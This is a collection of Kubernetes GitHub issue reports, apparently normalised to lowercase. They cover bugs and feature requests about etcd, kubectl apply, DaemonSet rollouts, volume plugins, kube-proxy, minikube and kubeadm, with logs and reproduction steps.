error:  client: etcd cluster is unavailable or misconfigured error  0: dial tcp 127.0.0.1:2379: getsockopt: connection refused error  1: dial tcp 127.0.0.1:4001: getsockopt: connection refused  error:  client: etcd cluster is unavailable or misconfigured error  0: dial tcp 127.0.0.1:4001: getsockopt: connection refused error  1: dial tcp 127.0.0.1:2379: getsockopt: connection refused  error:  client: etcd cluster is unavailable or misconfigured error  0: dial tcp 127.0.0.1:2379: getsockopt: connection refused error  1: dial tcp 127.0.0.1:4001: getsockopt: connection refused  cmd:  systemctl status etcd.service   ● etcd.service - lsb: start distrubted key/value pair service    loaded: loaded  /etc/init.d/etcd; bad; vendor preset: enabled     active: active  exited  since thu 2016-09-29 22:06:37 pdt; 1h 21min ago      docs: man:systemd-sysv-generator 8    process: 1192 execstart=/etc/init.d/etcd start  code=exited, status=0/success      tasks: 0  limit: 512     memory: 0b       cpu: 0  sep 29 22:06:37 ubuntu-01 systemd 1 : starting lsb: start distrubted key/value pair service... sep 29 22:06:37 ubuntu-01 etcd 1192 :  \\  starting etcd: etcd sep 29 22:06:37 ubuntu-01 etcd 1192 :    ...done. sep 29 22:06:37 ubuntu-01 systemd 1 : started lsb: start distrubted key/value pair service. sep 29 22:06:37 ubuntu-01 etcd 1203 : error verifying flags, '>>' is not a valid flag. see 'etcd --help'. sep 29 22:48:23 ubuntu-01 systemd 1 : started lsb: start distrubted key/value pair service. sep 29 22:56:33 ubuntu-01 systemd 1 : started lsb: start distrubted key/value pair service. sep 29 23:21:43 ubuntu-01 systemd 1 : started lsb: start distrubted key/value pair service. warning: etcd.service changed on disk. run 'systemctl daemon-reload' to reload units.

is this a bug report or feature request?    choose one :\r bug\r \r   kubernetes version    use  kubectl version  :\r master\r \r   what happened  :\r \r it took a real long time to run  ./hack/update-generated-protobuf.sh  because of following issues:\r \r    \r make 1 : entering directory '/go/src/k8s.io/kubernetes'\r make 1 : warning: file 'pkg/api/v1' has modification time 2272 s in the future\r make 1 : warning: file 'pkg/api/v1' has modification time 2270 s in the future\r make 1 : warning: file 'pkg/api/v1' has modification time 2268 s in the future\r make 1 : warning: file 'pkg/api/v1' has modification time 2266 s in the future\r make 1 : warning: file 'pkg/api/v1' has modification time 2264 s in the future\r    \r \r   anything else we need to know  :\r it works this morning : .\r

follow up  45924: \r \r -  x  e2e test:    pr  47387   \r   1. create ds\r   1. update template - rollout proceeds only a little ways\r   1. roll back by updating template to be the same as the original template. existing pods not yet updated in step 2 should not be restarted \r -  x  https://github.com/kubernetes/kubernetes/pull/45924 discussion_r119913915: wait for the history cache to be synced    pr  47084   \r -  x  test ds history orphan and adoption    pr  47084   \r \r fine after 1.7:\r -  x  https://github.com/kubernetes/kubernetes/pull/45924 discussion_r119845003: don't update label with updatestatus    pr  47258   \r -  x  https://github.com/kubernetes/kubernetes/pull/45924 discussion_r119850091: construct the history once and then pass the references in manage and cleanuphistory    pr  47258   \r -     https://github.com/kubernetes/kubernetes/pull/45924 discussion_r119850689: clean up history after rollout is stable  it's fine for now \r \r @kubernetes/sig-apps-misc @erictune @kargakis @lukaszo

i created a ss to run etcd.  i notice 2 pods running, but not all 3.\r \r    \r events:\r   firstseen     lastseen        count   from            subobjectpath   type            reason                  message\r   ---------     --------        -----   ----            -------------   --------        ------                  -------\r   5m            5m              1       statefulset                     normal          successfulcreate        create claim datadir-etcd-0 pod etcd-0 in statefulset etcd success\r   5m            5m              1       statefulset                     normal          successfulcreate        create pod etcd-0 in statefulset etcd successful\r   4m            4m              1       statefulset                     normal          successfulcreate        create claim datadir-etcd-1 pod etcd-1 in statefulset etcd success\r   4m            4m              1       statefulset                     normal          successfulcreate        create pod etcd-1 in statefulset etcd successful\r   4m            4m              1       statefulset                     warning         failedcreate            create pod etcd-1 in statefulset etcd failed error: the post operation against pod could not be completed at this time, please try again.\r   4m            4m              1       statefulset                     normal          successfulcreate        create claim datadir-etcd-2 pod etcd-2 in statefulset etcd success\r   4m            4m              1       statefulset                     normal          successfulcreate        create pod etcd-2 in statefulset etcd successful\r   4m            4m              1       statefulset                     warning         failedcreate            create pod etcd-2 in statefulset etcd failed error: the post operation against pod could not be completed at this time, please try again.\r    \r \r 1. the \ post operation could not be completed\  message isn't very helpful.  it's true, but do we know anything more?  an http status code even?\r 2. actually, despite all these events, the pods were created fine, but the order the events are listed in doesn't really convey that.\r \r    \r name      ready     status    restarts   age\r etcd-0    1/1       running   0          6m\r etcd-1    1/1       running   0         6m\r etcd-2    1/1       running   0         5m\r

is this a bug report or feature request?  :\r  \r   what happened  :\r running  kubectl apply -f manifest.yaml  multiple times  without changing the manifest  will cause kubectl to send empty patch requests. this is particularly problematic because the addon manager runs apply on the addon manifest directory regularly, and the result spams the audit log with empty requests.\r \r   what you expected to happen  :\r kubectl should not send empty patch requests  unless an overriding flag is specified, e.g.  --force  .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    shell\r $ cat > pod.yaml <<eof\r apiversion: v1\r kind: pod\r metadata:\r   name:   pause\r spec:\r   containers:\r     - name:    pause\r       image: gcr.io/google_containers/pause\r eof\r   create the pod\r $ kubectl apply -f ~/tmp/pod.yaml\r   reapplying the file sends a patch\r $ kubectl apply -v=9 -f ~/tmp/pod.yaml |& grep patch\r i1016 14:04:51.965444  119266 round_trippers.go:386  curl -k -v -xpatch  -h \ accept: application/json\  -h \ content-type: application/strategic-merge-patch+json\  -h \ user-agent: kubectl/v1.7.5  linux/amd64  kubernetes/17d7182\  https://104.155.171.61/api/v1/namespaces/default/pods/pause\r i1016 14:04:52.006809  119266 round_trippers.go:405  patch https://104.155.171.61/api/v1/namespaces/default/pods/pause 200 ok in 41 milliseconds\r   look at the audit log for the patch content.\r    \r \r /cc @crassirostris

as a frequent user of  kubectl explain  i propose we ignore the trailing period   .   character in the argument passed to this command:\r \r   as long as argument is non-empty when trailing period is removed, i think it's safe\r   you use  kubectl explain  by keep adding fields  e.g.  service , then  service.spec ,  then  service.spec.ports  ...  so it's very easy to forget a trailing  .  at the end.\r   when a user leaves the  .  at the end, kubectl gives a super weird cryptic error  see below \r \r    sh\r $ kubectl explain  ingress.spec.rules.http.paths.\r error: field \ \  does not exist\r    \r \r i believe ignoring the trailing period s  will be more forgiving and increase user success with  kubectl explain . \r @jbeda might have something to add.\r \r  

offshoot of regression - https://github.com/kubernetes/kubernetes/issues/55695\r \r we are supporting \ 100 pods per node\  in k8s officially  https://kubernetes.io/docs/admin/cluster-large/ support  and need to make sure metadata-proxy allows those many pods to access the metadata service simultaneously.\r \r cc @kubernetes/sig-node-bugs @ihmccreery @cjcullen @loburm \r \r

is this a bug report or feature request?  :\r \r   \r   what happened  :\r i tried ipvs mode in kube-proxy instead of iptables. it works fine with all service types except loadbalancer. i am using metallb as loadbalancer and i can not make it work. in iptables mode it works perfect, i just do not want go back to it from ipvs\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t10:09:24z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t09:42:01z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - metallb

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r if you have few flexvolume drivers installed in kubernetes master node, they also handled by  kubernetes-controller-manager  and if one of them returns error  example that  /bin/bash  not found , then other drivers non working too, and have no attach/detach functions working.\r \r   what you expected to happen  :\r return error on broken driver and continue working with normal drivers.\r \r   how to reproduce it  as minimally and precisely as possible   :\r   install driver that requres  attach:true  controller, or  my one  https://github.com/kvaps/flexvolume-qemu-nbd  for example.\r   create  example pod  https://raw.githubusercontent.com/kvaps/flexvolume-qemu-nbd/master/examples/nginx-loop-simple.yaml   it should be fine \r   remove pod\r   then install any other driver that have   !/bin/bash  in the top\r   restart  kube-controller-manager-kubernetes  container\r   try to create  example pod  https://raw.githubusercontent.com/kvaps/flexvolume-qemu-nbd/master/examples/nginx-loop-simple.yaml  again  your container will stuck forever \r \r \r   anything else we need to know?  :\r \r from  kube-controller-manager-kubernetes  logs:\r    \r  args:  init , error: fork/exec /usr/libexec/kubernetes/kubelet-plugins/volume/exec/kvaps~test/test: no such file or directory, output: \ \ \r    \r \r from kubelet logs:\r    \r apr 24 17:57:46 m1c6 kubelet 3512 : e0424 17:57:46.192727    3512 nestedpendingoperations.go:263  operation for \ \\\ flexvolume-kvaps/loop/test\\\ \  failed. no retries permitted until 2018-04-24 17:59:48.192704714 +0200 cest m=+64638.054111798  durationbeforeretry 2m2s . error: \ volume not attached according to node status for volume \\\ test\\\   uniquename: \\\ flexvolume-kvaps/loop/test\\\   pod \\\ nginx-loop-simple\\\   uid: \\\ eec5983c-47d7-11e8-99b6-0242990b3df4\\\   \ \r    \r \r   environment  :\r - kubernetes version  v1.10.1 \r - cloud provider or hardware configuration:  bare-metal \r - os  ubuntu 16.04.4 lts \r - kernel  4.13.4-1-pve \r - install tools:\r - others:\r

i am trying to run minikube on windows 10 using vmware workstation pro via running a centos 7.5 vm. but when i try to start i get below error:\r \r  root@kubernetesexam ~   minikube start\r starting local kubernetes v1.10.0 cluster...\r starting vm...\r getting vm ip address...\r moving files into cluster...\r setting up certs...\r connecting to cluster...\r setting up kubeconfig...\r starting cluster components...\r e0902 09:58:43.471476    3224 start.go:305  error restarting cluster:  restarting kube-proxy: waiting for kube-proxy to be up for configmap update: timed out waiting for the condition\r ================================================================================\r an error has occurred. would you like to opt in to sending anonymized crash\r information to minikube to help prevent future errors?\r to opt out of these messages, run the command:\r \tminikube config set wantreporterrorprompt false\r ================================================================================\r please enter your response  y/n : \r  root@kubernetesexam ~   \r \r   environment  : windows 10, vmware workstation pro, centos 7.5 vm\r - kubernetes version  use  kubectl version  : kubernetes v1.10.0\r - cloud provider or hardware configuration: windows 10 with 8gb ram, 2.5 gb dedicated to vm\r - os  e.g. from /etc/os-release : centos linux release 7.5.1804  core  \r - kernel  e.g.  uname -a  : 3.10.0-862.11.6.el7.x86_64\r - install tools: \r - others:\r \r  minikube-error.txt  https://github.com/kubernetes/kubernetes/files/2342983/minikube-error.txt \r \r 

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r i can't access the exposed host port on my ubuntu node.\r \r   anything else we need to know?  :\r i have three node nodes, two centos 7.2 and one ubuntu 16.04.5 lts. the exposed port works on centos, but it doesn't work on ubuntu 16.04.5 lts.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r kubernetes v1.9.8\r - os  e.g. from /etc/os-release :\r     - centos: centos linux release 7.2.1511  core \r     - ubuntu: ubuntu 16.04.5 lts  xenial xerus \r - kernel  e.g.  uname -a  :\r     - centos: 3.10.0-327.el7.x86_64\r     - ubuntu: 4.15.0-33-generic\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r    \r hack/run-in-gopath.sh hack/godep-restore.sh\r +++  0301 15:57:42  restoring kubernetes godeps\r +++  0301 15:57:42  dependencies appear to be current - skipping download\r    \r except the dependencies are definitely not current. this appears to happen when jq is missing on my machine.\r \r   what you expected to happen  :\r i expected the command to loudly report that jq is missing. \r \r   how to reproduce it  as minimally and precisely as possible   :\r ensure that jq is not installed, then run this inside k/k:\r    \r hack/run-in-gopath.sh hack/godep-restore.sh\r    \r \r /assign @thockin

forked from https://github.com/kubernetes/kubernetes/issues/20096 which has a ton of context for the kernel bug we're working around right now. debugging soak test failures is hard, and there are various good ideas on the original, around this comment: https://github.com/kubernetes/kubernetes/issues/20096 issuecomment-175143914

we are currently trying to use kubernetes  gke  and kubectl in our company in a setup where we have to pass audits from external auditors. for this reason one of our requirements is to log the reason why a user wants to get access to a container which in kubernetes terms means executing  kubectl exec -it pod_name /bin/sh . what we would love to have is kubectl asking for the reason  prompting the user to enter it  or having a parameter that will then be transfered to the api server. we would love to discuss this feature and get an understanding of what would be desirable for the community.

kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0\ , gitcommit:\ a16c0a7f71a6f93c7e0f222d961f4675cd97a46b\ , gittreestate:\ clean\ , builddate:\ 2016-09-26t18:16:57z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0\ , gitcommit:\ a16c0a7f71a6f93c7e0f222d961f4675cd97a46b\ , gittreestate:\ clean\ , builddate:\ 2016-09-26t18:10:32z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : bare metal\r -   os    e.g. from /etc/os-release : ubuntu 12.04.4 lts, precise pangolin\r -   kernel    e.g.  uname -a  : 3.13.0-55-generic\r -   install tools  : n/a\r -   others  : n/a\r \r \r   what happened  :\r \r it's possible for rollingupdate to fail, claiming that the replicationcontroller that is _just created_ cannot be found.\r \r    \r kubectl --server=https://192.168.0.203:6443 --kubeconfig=/highland/config/kubernetes/config --namespace=kube-system rollingupdate kubernetes-loadbalancer-controller-20161129-191116 --timeout=1h --filename=/highland/logs/kubernetes/templates/template_kubernetes_loadbalancer_controller_rc_20161129-191425.yaml\r     created kubernetes-loadbalancer-controller-20161129-191425\r     scaling up kubernetes-loadbalancer-controller-20161129-191425 from 0 to 1, scaling down kubernetes-loadbalancer-controller-20161129-191116 from 1 to 0  keep 1 pods available, don't exceed 2 pods \r     scaling kubernetes-loadbalancer-controller-20161129-191425 up to 1\r     error from server: replicationcontrollers \ kubernetes-loadbalancer-controller-20161129-191425\  not found\r    \r first, we see \ created kubernetes-loadbalancer-controller-20161129-191425\  cleanly confirmed in the flow.\r second, upon post-failure querying, we again see \ kubernetes-loadbalancer-controller-20161129-191425\  in existence.\r    \r kubectl --server=https://192.168.0.203:6443 --kubeconfig=/highland/config/kubernetes/config --namespace=kube-system get rc\r name                                                 desired   current   ready     age\r kubernetes-loadbalancer-controller-20161129-191116   1         1         1         3m\r kubernetes-loadbalancer-controller-20161129-191425   1         1         1         21s\r    \r \r   what you expected to happen  :\r \r once the replicationcontroller confirms that it was created, it should be reliably usable.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r run the rollingupdate command many, many times, and get lucky.\r \r   anything else do we need to know  :\r \r i know that rollingupdate is the old way, and deployments are the new way. we're in the process of moving our tooling to use kubernetes deployments.\r \r but this seems like a possible timing issue with \ create replication controller\  itself -- that is, we've seen extremely similar cases where we'll create a replication controller, receive confirmation, and then immediately afterwards \ kubectl get rc foo\  reports that it cannot find said replication controller -- but when we list rcs, now it's there, and subsequent usage works fine again. in those cases, we assumed that there was \ eventual consistency\  behavior in play, and figured that we needed to wait a few seconds for the replication controller to stabilize. but with rollingupdate, there is nowhere for us to pause -- the action itself internally failed.

is this a request for help?  : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?  : openstack cinder volume instanceid nodename\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : v1.5.1\r \r   environment  :\r -   cloud provider or hardware configuration  : openstack liberty\r -   os    e.g. from /etc/os-release : red hat enterprise linux server 7.2  maipo \r -   kernel    e.g.  uname -a  : 3.10.0-327.36.2.el7.x86_64  1 smp\r \r   what happened  : the cinder volume was not remounted to other node after pod was rescheduled.\r \r \r   what you expected to happen  : cinder volume is detached from previous node mounted on a new one.\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r 1. create a pvc using cinder;\r 2. create a pod under replication controller with one replica using that pvc;\r 3. wait for pod to be scheduled and started;\r 4. cordon the node where pod is running;\r 5. delete the pod;\r 6. pod is rescheduled to another node, but volume is not attached - it keeps attaching and detaching it to the new node;\r \r   anything else do we need to know  :\r \r logs showing that attachment succeeds, but when attacher performs rechecking during reconciliation cycle, it incorrectly decides that volume is not attached any longer:\r \r    \r i0113 23:45:20.854316       7 reconciler.go:202  started attachvolume for volume \ kubernetes.io/cinder/7c0ef8d0-fa65-41b5-b634-098305579935\  to node \ ak8s-worker-1\ \r i0113 23:45:22.116749       7 openstack_volumes.go:126  7c0ef8d0-fa65-41b5-b634-098305579935 kubernetes-dynamic-pvc-6635944c-d431-11e6-a6be-fa163e24f3a8  map server_id:b6e0e07c-d64b-45bc-b09d-f8784fa4fbf7 attachment_id:fc236602-3f75-4a6e-beb7-12eeed453cca host_name:<nil> volume_id:7c0ef8d0-fa65-41b5-b634-098305579935 device:/dev/vde id:7c0ef8d0-fa65-41b5-b634-098305579935  \r i0113 23:45:22.116793       7 attacher.go:92  attach operation is successful. volume \ 7c0ef8d0-fa65-41b5-b634-098305579935\  is already attached to instance \ b6e0e07c-d64b-45bc-b09d-f8784fa4fbf7\ .\r i0113 23:45:22.603837       7 openstack_volumes.go:126  7c0ef8d0-fa65-41b5-b634-098305579935 kubernetes-dynamic-pvc-6635944c-d431-11e6-a6be-fa163e24f3a8  map attachment_id:fc236602-3f75-4a6e-beb7-12eeed453cca host_name:<nil> volume_id:7c0ef8d0-fa65-41b5-b634-098305579935 device:/dev/vde id:7c0ef8d0-fa65-41b5-b634-098305579935 server_id:b6e0e07c-d64b-45bc-b09d-f8784fa4fbf7  \r i0113 23:45:22.603879       7 operation_generator.go:217  attachvolume.attach succeeded for volume \ kubernetes.io/cinder/7c0ef8d0-fa65-41b5-b634-098305579935\   spec.name: \ pvc-6635944c-d431-11e6-a6be-fa163e24f3a8\   from node \ ak8s-worker-1\ .\r i0113 23:45:22.603967       7 actual_state_of_world.go:447  report volume \ kubernetes.io/cinder/7c0ef8d0-fa65-41b5-b634-098305579935\  as attached to node \ ak8s-worker-1\ \r i0113 23:45:22.682490       7 node_status_updater.go:136  updating status for node \ ak8s-worker-1\  succeeded. patchbytes: \ {}\  volumesattached:  {kubernetes.io/cinder/7c0ef8d0-fa65-41b5-b634-098305579935 /dev/vde} \r i0113 23:45:23.078355       7 actual_state_of_world.go:343  setvolumemountedbynode volume kubernetes.io/cinder/7c0ef8d0-fa65-41b5-b634-098305579935 to the node \ ak8s-worker-1\  mounted true\r i0113 23:45:23.767648       7 openstack_volumes.go:126  7c0ef8d0-fa65-41b5-b634-098305579935 kubernetes-dynamic-pvc-6635944c-d431-11e6-a6be-fa163e24f3a8  map host_name:<nil> volume_id:7c0ef8d0-fa65-41b5-b634-098305579935 device:/dev/vde id:7c0ef8d0-fa65-41b5-b634-098305579935 server_id:b6e0e07c-d64b-45bc-b09d-f8784fa4fbf7 attachment_id:fc236602-3f75-4a6e-beb7-12eeed453cca  \r i0113 23:45:23.767768       7 attacher.go:140  volumesareattached: check volume \ 7c0ef8d0-fa65-41b5-b634-098305579935\   specname: \ pvc-6635944c-d431-11e6-a6be-fa163e24f3a8\   is no longer attached\r i0113 23:45:23.768069       7 operation_generator.go:162  verifyvolumesareattached determined volume \ kubernetes.io/cinder/7c0ef8d0-fa65-41b5-b634-098305579935\   spec.name: \ pvc-6635944c-d431-11e6-a6be-fa163e24f3a8\   is no longer attached to node \ ak8s-worker-1\ , therefore it was marked as detached.\r i0113 23:45:23.787455       7 reconciler.go:202  started attachvolume for volume \ kubernetes.io/cinder/7c0ef8d0-fa65-41b5-b634-098305579935\  to node \ ak8s-worker-1\ \r \r    \r \r later analysis showed that cinder attacher uses  nodename, instead of instanceid  https://github.com/kubernetes/kubernetes/blob/6a4d5cd7cc58e28c20ca133dab7b0e9e56192fe3/pkg/volume/cinder/attacher.go l127 , compare e.g. with  attach operation  https://github.com/kubernetes/kubernetes/blob/6a4d5cd7cc58e28c20ca133dab7b0e9e56192fe3/pkg/volume/cinder/attacher.go l75-l82  and  disksareattached   https://github.com/kubernetes/kubernetes/blob/6a4d5cd7cc58e28c20ca133dab7b0e9e56192fe3/pkg/cloudprovider/providers/openstack/openstack_volumes.go l258

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r configmap \ cluster-info\  already exsited\r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r client: v1.6.2\r server: v1.6.2\r \r   environment  :\r -   cloud provider or hardware configuration  : \r hardware configuration\r \r -   os    e.g. from /etc/os-release : \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r \r -   kernel    e.g.  uname -a  :\r linux a 3.10.0-514.16.1.el7.x86_64  1 smp wed apr 12 15:04:24 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r -   install tools  :\r kubeadm\r \r -   others  :\r \r \r   what happened  :\r 1. kubeadm init --config=$home/kubeadm-config.yaml\r 2. kubeadm reset\r 3. kubeadm init --config=$home/kubeadm-config.yaml\r    pruduce the error msg: configmap \ cluster-info\  already existed\r \r   what you expected to happen  :\r when i exec kubeadm reset , the kubeadm should delete the configmap named \ cluster-info\  from etcd-v3 \r \r   how to reproduce it    as minimally and precisely as possible :\r 1. kubeadm init --config=$home/kubeadm-config.yaml\r 2. kubeadm reset\r 3. kubeadm init --config=$home/kubeadm-config.yaml\r \r   anything else we need to know  :\r \r

daemonset currently supports \ delete first, then add\  rolling update strategy.\r \r this is a feature request for daemonset to support \ add first, then delete\  rolling update. this can be done with a new upgrade strategy. users will use  maxsurge  in addition to  maxunavailable  in this new upgrade strategy. with this, each node can have at least one daemon pod running on it during a rolling update. \r \r cc @kubernetes/sig-apps-feature-requests

seeing this a lot lately\r    \r error during /go/src/k8s.io/release/push-build.sh --nomock --verbose --noupdatelatest --bucket=kubernetes-release-pull --ci --gcs-suffix=/pull-kubernetes-kubemark-e2e-gce: exit status 2\r    \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/49289/pull-kubernetes-kubemark-e2e-gce/40750/ stage\r @kubernetes/sig-release-test-failures \r 

is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r following warning happened at the sequence of operationexecutor.unmountdevice for detached/unmounted case.\r \r    \r i0726 18:15:48.627901   23682 reconciler.go:283  operationexecutor.unmountdevice started for volume \ pv0001\   uniquename: \ kubernetes.io/fc/ 50060e801049cfd1 \   on node \ 127.0.0.1\  \r w0726 18:15:48.628954   23682 mount.go:144  could not determine device for path: \ /var/lib/kubelet/plugins/kubernetes.io/fc/50060e801049cfd1-lun-0\ \r w0726 18:15:48.629015   23682 util.go:108  warning: \ /var/lib/kubelet/plugins/kubernetes.io/fc/50060e801049cfd1-lun-0\  is not a mountpoint, deleting\r    \r \r from my quick investigation, it seems that unmount operation for global mount should be done by reconciler.go instead of executing inside the fc plugin since attacher/detacher for fc plugin was merged recently.\r \r detail log: pod deletion\r    \r   tail -f /tmp/kubelet.log\r ...\r i0726 18:15:46.323763   23682 kubelet.go:1772  syncloop  delete, \ api\  : \ nginx-pod1_default e7f98a41-724f-11e7-b450-f8bc12550954 \ \r i0726 18:15:46.324160   23682 kuberuntime_container.go:575  killing container \ docker://b37b71254f47a11a701864a27b24ec1cdfa3002ce46ddc0f5aff23280856ed4a\  with 30 second grace period\r i0726 18:15:47.285139   23682 qos_container_manager_linux.go:279   containermanager : updated qos cgroup configuration\r i0726 18:15:47.316003   23682 kubelet.go:1790  syncloop  pleg : \ nginx-pod1_default e7f98a41-724f-11e7-b450-f8bc12550954 \ , event: &pleg.podlifecycleevent{id:\ e7f98a41-724f-11e7-b450-f8bc12550954\ , type:\ containerdied\ , data:\ b37b71254f47a11a701864a27b24ec1cdfa3002ce46ddc0f5aff23280856ed4a\ }\r i0726 18:15:47.316100   23682 kubelet.go:1790  syncloop  pleg : \ nginx-pod1_default e7f98a41-724f-11e7-b450-f8bc12550954 \ , event: &pleg.podlifecycleevent{id:\ e7f98a41-724f-11e7-b450-f8bc12550954\ , type:\ containerdied\ , data:\ e64c821ee61d45014fb293919dd43733d38effbd84c78347d52fcf893a41492f\ }\r w0726 18:15:47.316182   23682 pod_container_deletor.go:77  container \ e64c821ee61d45014fb293919dd43733d38effbd84c78347d52fcf893a41492f\  not found in pod's containers\r i0726 18:15:47.321292   23682 qos_container_manager_linux.go:279   containermanager : updated qos cgroup configuration\r e0726 18:15:47.879827   23682 kubelet_volumes.go:128  orphaned pod \ 9799ca97-7188-11e7-bde0-f8bc12550954\  found, but volume paths are still present on disk : there were a total of 1 errors similar to this.  turn up verbosity to see them.\r i0726 18:15:48.330695   23682 qos_container_manager_linux.go:279   containermanager : updated qos cgroup configuration\r i0726 18:15:48.337701   23682 kubelet.go:1772  syncloop  delete, \ api\  : \ nginx-pod1_default e7f98a41-724f-11e7-b450-f8bc12550954 \ \r i0726 18:15:48.366592   23682 kubelet.go:1766  syncloop  remove, \ api\  : \ nginx-pod1_default e7f98a41-724f-11e7-b450-f8bc12550954 \ \r i0726 18:15:48.366678   23682 kubelet.go:1949  failed to delete pod \ nginx-pod1_default e7f98a41-724f-11e7-b450-f8bc12550954 \ , err: pod not found\r i0726 18:15:48.527341   23682 reconciler.go:186  operationexecutor.unmountvolume started for volume \ default-token-6s523\   uniquename: \ kubernetes.io/secret/e7f98a41-724f-11e7-b450-f8bc12550954-default-token-6s523\   pod \ e7f98a41-724f-11e7-b450-f8bc12550954\   uid: \ e7f98a41-724f-11e7-b450-f8bc12550954\   \r i0726 18:15:48.527456   23682 reconciler.go:186  operationexecutor.unmountvolume started for volume \ data\   uniquename: \ kubernetes.io/fc/ 50060e801049cfd1 \   pod \ e7f98a41-724f-11e7-b450-f8bc12550954\   uid: \ e7f98a41-724f-11e7-b450-f8bc12550954\   \r i0726 18:15:48.533847   23682 operation_generator.go:527  unmountvolume.teardown succeeded for volume \ kubernetes.io/secret/e7f98a41-724f-11e7-b450-f8bc12550954-default-token-6s523\   outervolumespecname: \ default-token-6s523\   pod \ e7f98a41-724f-11e7-b450-f8bc12550954\   uid: \ e7f98a41-724f-11e7-b450-f8bc12550954\  . innervolumespecname \ default-token-6s523\ . pluginname \ kubernetes.io/secret\ , volumegidvalue \ \ \r i0726 18:15:48.544697   23682 operation_generator.go:527  unmountvolume.teardown succeeded for volume \ kubernetes.io/fc/ 50060e801049cfd1 \   outervolumespecname: \ data\   pod \ e7f98a41-724f-11e7-b450-f8bc12550954\   uid: \ e7f98a41-724f-11e7-b450-f8bc12550954\  . innervolumespecname \ pv0001\ . pluginname \ kubernetes.io/fc\ , volumegidvalue \ \ \r i0726 18:15:48.627737   23682 reconciler.go:290  volume detached for volume \ default-token-6s523\   uniquename: \ kubernetes.io/secret/e7f98a41-724f-11e7-b450-f8bc12550954-default-token-6s523\   on node \ 127.0.0.1\  devicepath \ \ \r i0726 18:15:48.627901   23682 reconciler.go:283  operationexecutor.unmountdevice started for volume \ pv0001\   uniquename: \ kubernetes.io/fc/ 50060e801049cfd1 \   on node \ 127.0.0.1\  \r w0726 18:15:48.628954   23682 mount.go:144  could not determine device for path: \ /var/lib/kubelet/plugins/kubernetes.io/fc/50060e801049cfd1-lun-0\ \r w0726 18:15:48.629015   23682 util.go:108  warning: \ /var/lib/kubelet/plugins/kubernetes.io/fc/50060e801049cfd1-lun-0\  is not a mountpoint, deleting\r i0726 18:15:48.629127   23682 operation_generator.go:608  unmountdevice succeeded for volume \ pv0001\   uniquename: \ kubernetes.io/fc/ 50060e801049cfd1 \   on node \ 127.0.0.1\  \r i0726 18:15:48.728201   23682 reconciler.go:290  volume detached for volume \ pv0001\   uniquename: \ kubernetes.io/fc/ 50060e801049cfd1 \   on node \ 127.0.0.1\  devicepath \ \ \r    \r \r   what you expected to happen  :\r \r global unmount will be finished without any warning messages.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r - create pv with fc volume plugin\r - create pvc which claims fc volume\r - create a pod with above pvc\r - delete the pod\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : latest master

